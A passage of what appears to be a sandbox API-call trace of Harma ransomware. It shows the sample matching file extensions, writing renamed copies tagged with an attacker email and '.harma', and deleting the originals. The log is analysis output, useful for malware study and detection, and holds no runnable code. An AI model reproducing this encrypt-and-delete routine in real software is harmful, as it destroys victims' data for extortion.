lstrlenW (lpString=".zip") returned 4 [0145.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.485] lstrlenW (lpString=".rar") returned 4 [0145.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.486] lstrlenW (lpString=".bz2") returned 4 [0145.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.486] lstrlenW (lpString=".7z") returned 3 [0145.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0145.486] lstrlenW (lpString=".dbf") returned 4 [0145.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0145.486] lstrlenW (lpString=".1cd") returned 4 [0145.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0145.486] lstrlenW (lpString=".jpg") returned 4 [0145.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0145.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0145.486] lstrlenW (lpString=".doc") returned 4 [0145.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.486] lstrlenW (lpString=".docx") returned 5 [0145.486] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.486] lstrlenW (lpString=".pdf") returned 4 [0145.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.486] lstrlenW (lpString=".xls") returned 4 [0145.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.486] lstrlenW (lpString=".xlsx") returned 5 [0145.486] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.486] lstrlenW (lpString=".ppt") returned 4 [0145.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0145.486] lstrlenW (lpString=".zip") returned 4 [0145.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.486] lstrlenW (lpString=".rar") returned 4 [0145.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.487] lstrlenW (lpString=".bz2") returned 4 [0145.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.487] lstrlenW (lpString=".7z") returned 3 [0145.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0145.487] lstrlenW (lpString=".dbf") returned 4 [0145.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0145.487] lstrlenW (lpString=".1cd") returned 4 [0145.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0145.487] lstrlenW (lpString=".jpg") returned 4 [0145.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.487] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.487] lstrlenW (lpString="BL00194_.WMF") returned 12 [0145.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0145.488] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=3986) returned 1 [0145.488] CloseHandle (hObject=0x344) returned 1 [0145.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x20 [0145.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0145.488] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.488] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0145.489] GetLastError () returned 0x0 [0145.489] ReadFile (in: hFile=0x344, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xf92, lpOverlapped=0x0) returned 1 [0145.503] WriteFile (in: hFile=0x350, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0145.504] ReadFile (in: hFile=0x344, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.504] WriteFile (in: hFile=0x350, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.504] SetEndOfFile (hFile=0x350) returned 1 [0145.512] CloseHandle (hObject=0x350) returned 1 [0145.512] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.512] SetEndOfFile (hFile=0x344) returned 1 [0145.514] CloseHandle (hObject=0x344) returned 1 [0145.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0145.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0145.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0145.559] lstrlenW (lpString=".doc") returned 4 [0145.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.559] lstrlenW (lpString=".docx") returned 5 [0145.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.559] lstrlenW (lpString=".pdf") returned 4 [0145.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.559] lstrlenW (lpString=".xls") returned 4 [0145.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.559] lstrlenW (lpString=".xlsx") returned 5 [0145.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.560] lstrlenW (lpString=".ppt") returned 4 [0145.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0145.560] lstrlenW (lpString=".zip") returned 4 [0145.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.560] lstrlenW (lpString=".rar") returned 4 [0145.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.560] lstrlenW (lpString=".bz2") returned 4 [0145.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.560] lstrlenW (lpString=".7z") returned 3 [0145.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0145.560] lstrlenW (lpString=".dbf") returned 4 [0145.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0145.560] lstrlenW (lpString=".1cd") returned 4 [0145.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0145.560] lstrlenW (lpString=".jpg") returned 4 [0145.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0145.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0145.560] lstrlenW (lpString=".doc") returned 4 [0145.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.560] lstrlenW (lpString=".docx") returned 5 [0145.560] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.560] lstrlenW (lpString=".pdf") returned 4 [0145.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.560] lstrlenW (lpString=".xls") returned 4 [0145.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.561] lstrlenW (lpString=".xlsx") returned 5 [0145.561] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.561] lstrlenW (lpString=".ppt") returned 4 [0145.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0145.561] lstrlenW (lpString=".zip") returned 4 [0145.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.561] lstrlenW (lpString=".rar") returned 4 [0145.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.561] lstrlenW (lpString=".bz2") returned 4 [0145.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.561] lstrlenW (lpString=".7z") returned 3 [0145.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0145.561] lstrlenW (lpString=".dbf") returned 4 [0145.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0145.561] lstrlenW (lpString=".1cd") returned 4 [0145.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0145.561] lstrlenW (lpString=".jpg") returned 4 [0145.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.561] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.561] lstrlenW (lpString="BL00247_.WMF") returned 12 [0145.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0145.562] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=14444) returned 1 [0145.562] CloseHandle (hObject=0x2e8) returned 1 [0145.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x20 [0145.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0145.563] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.563] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.563] GetLastError () returned 0x0 [0145.563] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x386c, lpOverlapped=0x0) returned 1 [0145.604] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x3870, lpOverlapped=0x0) returned 1 [0145.605] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.605] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.605] SetEndOfFile (hFile=0x328) returned 1 [0145.606] CloseHandle (hObject=0x328) returned 1 [0145.606] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.606] SetEndOfFile (hFile=0x2e8) returned 1 [0145.609] CloseHandle (hObject=0x2e8) returned 1 [0145.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0145.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0145.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0145.616] lstrlenW (lpString=".doc") returned 4 [0145.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.616] lstrlenW (lpString=".docx") returned 5 [0145.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.616] lstrlenW (lpString=".pdf") returned 4 [0145.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.616] lstrlenW (lpString=".xls") returned 4 [0145.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.616] lstrlenW (lpString=".xlsx") returned 5 [0145.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.616] lstrlenW (lpString=".ppt") returned 4 [0145.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0145.617] lstrlenW (lpString=".zip") returned 4 [0145.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.617] lstrlenW (lpString=".rar") returned 4 [0145.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.617] lstrlenW (lpString=".bz2") returned 4 [0145.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.617] lstrlenW (lpString=".7z") returned 3 [0145.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0145.617] lstrlenW (lpString=".dbf") returned 4 [0145.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0145.617] lstrlenW (lpString=".1cd") returned 4 [0145.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0145.617] lstrlenW (lpString=".jpg") returned 4 [0145.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0145.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0145.617] lstrlenW (lpString=".doc") returned 4 [0145.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.617] lstrlenW (lpString=".docx") returned 5 [0145.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.618] lstrlenW (lpString=".pdf") returned 4 [0145.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.618] lstrlenW (lpString=".xls") returned 4 [0145.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.618] lstrlenW (lpString=".xlsx") returned 5 [0145.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.618] lstrlenW (lpString=".ppt") returned 4 [0145.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0145.618] lstrlenW (lpString=".zip") returned 4 [0145.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.618] lstrlenW (lpString=".rar") returned 4 [0145.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.618] lstrlenW (lpString=".bz2") returned 4 [0145.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.618] lstrlenW (lpString=".7z") returned 3 [0145.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0145.618] lstrlenW (lpString=".dbf") returned 4 [0145.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0145.618] lstrlenW (lpString=".1cd") returned 4 [0145.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0145.619] lstrlenW (lpString=".jpg") returned 4 [0145.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.619] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.619] lstrlenW (lpString="BL00248_.WMF") returned 12 [0145.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0145.620] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=1536) returned 1 [0145.620] CloseHandle (hObject=0x2e8) returned 1 [0145.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x20 [0145.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0145.620] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.620] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.627] GetLastError () returned 0x0 [0145.627] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x600, lpOverlapped=0x0) returned 1 [0145.629] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x610, lpOverlapped=0x0) returned 1 [0145.630] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.630] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.630] SetEndOfFile (hFile=0x328) returned 1 [0145.630] CloseHandle (hObject=0x328) returned 1 [0145.631] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.631] SetEndOfFile (hFile=0x2e8) returned 1 [0145.637] CloseHandle (hObject=0x2e8) returned 1 [0145.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0145.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0145.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0145.638] lstrlenW (lpString=".doc") returned 4 [0145.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.638] lstrlenW (lpString=".docx") returned 5 [0145.638] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.638] lstrlenW (lpString=".pdf") returned 4 [0145.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.638] lstrlenW (lpString=".xls") returned 4 [0145.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.638] lstrlenW (lpString=".xlsx") returned 5 [0145.638] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.638] lstrlenW (lpString=".ppt") returned 4 [0145.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0145.639] lstrlenW (lpString=".zip") returned 4 [0145.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.639] lstrlenW (lpString=".rar") returned 4 [0145.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.639] lstrlenW (lpString=".bz2") returned 4 [0145.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.639] lstrlenW (lpString=".7z") returned 3 [0145.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0145.639] lstrlenW (lpString=".dbf") returned 4 [0145.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.639] lstrlenW (lpString="C:\\Program Files\\Microsoft 